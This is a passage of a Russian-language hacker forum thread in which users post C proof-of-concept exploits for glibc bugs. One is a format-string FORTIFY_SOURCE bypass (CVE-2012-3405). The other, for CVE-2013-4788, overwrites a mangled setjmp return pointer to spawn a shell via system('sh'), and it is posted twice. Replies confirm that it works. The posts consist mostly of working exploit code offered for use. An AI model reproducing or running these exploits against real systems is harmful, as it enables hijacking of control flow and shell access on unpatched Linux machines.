Старый 17.08.2012, 21:54   #51
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

CVE-2012-3405 glibc: incorrect use of extend_alloca() in formatted printing can lead to FORTIFY_SOURCE format string protection bypass

http://sourceware.org/bugzilla/show_bug.cgi?id=13446
http://www.securityfocus.com/bid/54374/


Код:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <printf.h>

#ifndef LIBDIR
#define LIBDIR "/usr/lib/X11"
#endif
#ifndef INCDIR
#define INCDIR "/usr/include/X11"
#endif

static char PATH_DEFAULT[] = "\
%%P\
%%S:\
%s/%%L/%%T/%%N/%%P\
%%S:\
%s/%%l_%%t/%%T/%%N/%%P\
%%S:\
%s/%%l/%%T/%%N/%%P\
%%S:\
%s/%%T/%%N/%%P\
%%S:\
%s/%%L/%%T/%%P\
%%S:\
%s/%%l_%%t/%%T/%%P\
%%S:\
%s/%%l/%%T/%%P\
%%S:\
%s/%%T/%%P\
%%S:\
%s/%%P\
%%S:\
%s/%%L/%%T/%%N/%%P\
%%S:\
%s/%%l_%%t/%%T/%%N/%%P\
%%S:\
%s/%%l/%%T/%%N/%%P\
%%S:\
%s/%%T/%%N/%%P\
%%S:\
%s/%%L/%%T/%%P\
%%S:\
%s/%%l_%%t/%%T/%%P\
%%S:\
%s/%%l/%%T/%%P\
%%S:\
%s/%%T/%%P\
%%S:\
%s/%%T/%%P\
%%S";

static char libdir[] = LIBDIR;
static char incdir[] = INCDIR;

# include <sys/param.h>
# define MAX_DIR_PATH_LEN    MAXPATHLEN

int
jconv(FILE *stream, const struct printf_info *info, const void *const *args)
{
    int ival1, ival2;
    char *buf;
    int len;

    ival1 = *((int *) (args[0]));
    ival2 = *((int *) (args[1]));
    len = asprintf(&buf, "<j format> %d:%d", ival1, ival2);
    if (-1 == len)
        return -1;
    len = fprintf(stream, "%s", buf);
    free(buf);
    return len;
}

int
jinfo(const struct printf_info *info, size_t n, int *argtypes)
{
    if (n > 0) {
        argtypes[0] = PA_INT;
        argtypes[1] = PA_INT;
    }
    return 2;
}

void
main(int argc, char **argv)
{
    char stackString[MAX_DIR_PATH_LEN];
    char * homedir = stackString ;
    char *path;

    register_printf_function('j', jconv, jinfo);

    homedir = (char *) getenv ("HOME");

    path = calloc(1, (9*strlen(homedir) + strlen(PATH_DEFAULT) + 8*strlen(libdir) + strlen(incdir) + 1));
    sprintf(path, PATH_DEFAULT, homedir, homedir, homedir,
              homedir, homedir, homedir, homedir, homedir, homedir,
              libdir, libdir, libdir, libdir, libdir, libdir, libdir,
              libdir, incdir);

    printf("path set %s\n", path);
}
Цитата:
Source Package Release Version Status
eglibc (PTS) squeeze 2.11.3-3 vulnerable
wheezy 2.13-33 vulnerable
sid 2.13-35 fixed
Pashkela вне форума   Ответить с цитированием
Старый 16.07.2013, 20:02   #52
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

CVE-2013-4788 - Eglibc PTR MANGLE bug

POC:

Код:
/*
 * $FILE: sploit.c
 * 
 * gcc sploit.c -o sploit -static
 *
 * Comment: Proof of concept
 *
 * $VERSION$
 *
 * Author: Hector Marco <hecmargi@upv.es>
 *         Ismael Ripoll <iripoll@disca.upv.es>
 *
 * $LICENSE:  
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
 */

#include <stdio.h>
#include <setjmp.h>
#include <stdint.h>
#include <limits.h>

#ifdef __i386__
   #define ROTATE 0x9
   #define PC_ENV_OFFSET 0x14
#elif __x86_64__
   #define ROTATE 0x11
   #define PC_ENV_OFFSET 0x38
#else
   #error The exploit does not support this architecture
#endif

unsigned long rol(uintptr_t value) {
   return (value << ROTATE) | (value >> (__WORDSIZE - ROTATE));
}

int hacked(){
   printf("[+] hacked !!\n");
   system("sh");
}

int main(void){
   jmp_buf env;
   uintptr_t *ptr_ret_env = (uintptr_t*) (((uintptr_t) env) + PC_ENV_OFFSET);

   printf("[+] Exploiting ...\n");
   if(setjmp(env) == 1){
      printf("[-] Exploit failed.\n");
      return 0;
   }

   /*Overwrie env return address */
   *ptr_ret_env = rol((uintptr_t)hacked);

   longjmp(env, 1);

   printf("[-] Exploit failed.\n");
   return 0;
}
красиво, только рута не дает

Linux 2.6.38-16-generic #67-Ubuntu SMP Thu Sep 6 18:00:43 UTC 2012 i686

работает

PS: The bug has been propagated to all the static code compiled with all versions, on all architectures, of glibc from 2.4 (06-Mar-2006) to 2.17 (Current version).
Pashkela вне форума   Ответить с цитированием
Старый 17.07.2013, 10:40   #53
snake
 
Регистрация: 05.07.2010
Сообщений: 173
Репутация: 12
По умолчанию

"from 2.4 to 2.17"?? слов нет...
snake вне форума   Ответить с цитированием
Старый 17.07.2013, 19:46   #54
vp$
 
Аватар для vp$
 
Регистрация: 13.07.2010
Сообщений: 70
Репутация: 8
По умолчанию

а че дает, если рута не дает)))
проверил, пашет
vp$ вне форума   Ответить с цитированием
Старый 18.07.2013, 11:05   #55
snake
 
Регистрация: 05.07.2010
Сообщений: 173
Репутация: 12
По умолчанию

Цитата:
Сообщение от vp$ Посмотреть сообщение
а че дает, если рута не дает)))
проверил, пашет
PHP код:
This bug was discovered in March 2013 while we were developing the RAF SSP
technique
The glibc bug makes it easy to take advantage of common
errors such
as buffer overflows allows in these cases redirect the execution flow and
potentially execute arbitrary code
snake вне форума   Ответить с цитированием
Старый 01.10.2013, 03:42   #56
mehdi racha
 
Регистрация: 09.11.2012
Сообщений: 12
Репутация: 0
По умолчанию

glibc and eglibc 2.5, 2.7, 2.13 - Buffer Overflow Vulnerability



Цитата:
/*
* $FILE: bug-mangle.c
*
* Comment: Proof of concept
*
* $VERSION$
*
* Author: Hector Marco <hecmargi@upv.es>
* Ismael Ripoll <iripoll@disca.upv.es>
*
* $LICENSE:
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*/

#include <stdio.h>
#include <setjmp.h>
#include <stdint.h>
#include <limits.h>

#ifdef __i386__
#define ROTATE 0x9
#define PC_ENV_OFFSET 0x14
#elif __x86_64__
#define ROTATE 0x11
#define PC_ENV_OFFSET 0x38
#else
#error The exploit does not support this architecture
#endif

unsigned long rol(uintptr_t value) {
return (value << ROTATE) | (value >> (__WORDSIZE - ROTATE));
}

int hacked(){
printf("[+] hacked !!\n");
system("/bin/sh");
}

int main(void){
jmp_buf env;
uintptr_t *ptr_ret_env = (uintptr_t*) (((uintptr_t) env) + PC_ENV_OFFSET);

printf("[+] Exploiting ...\n");
if(setjmp(env) == 1){
printf("[-] Exploit failed.\n");
return 0;
}

/*Overwrie env return address */
*ptr_ret_env = rol((uintptr_t)hacked);

longjmp(env, 1);

printf("[-] Exploit failed.\n");
return 0;
}
source
mehdi racha вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2020, Jelsoft Enterprises Ltd. Перевод: zCarot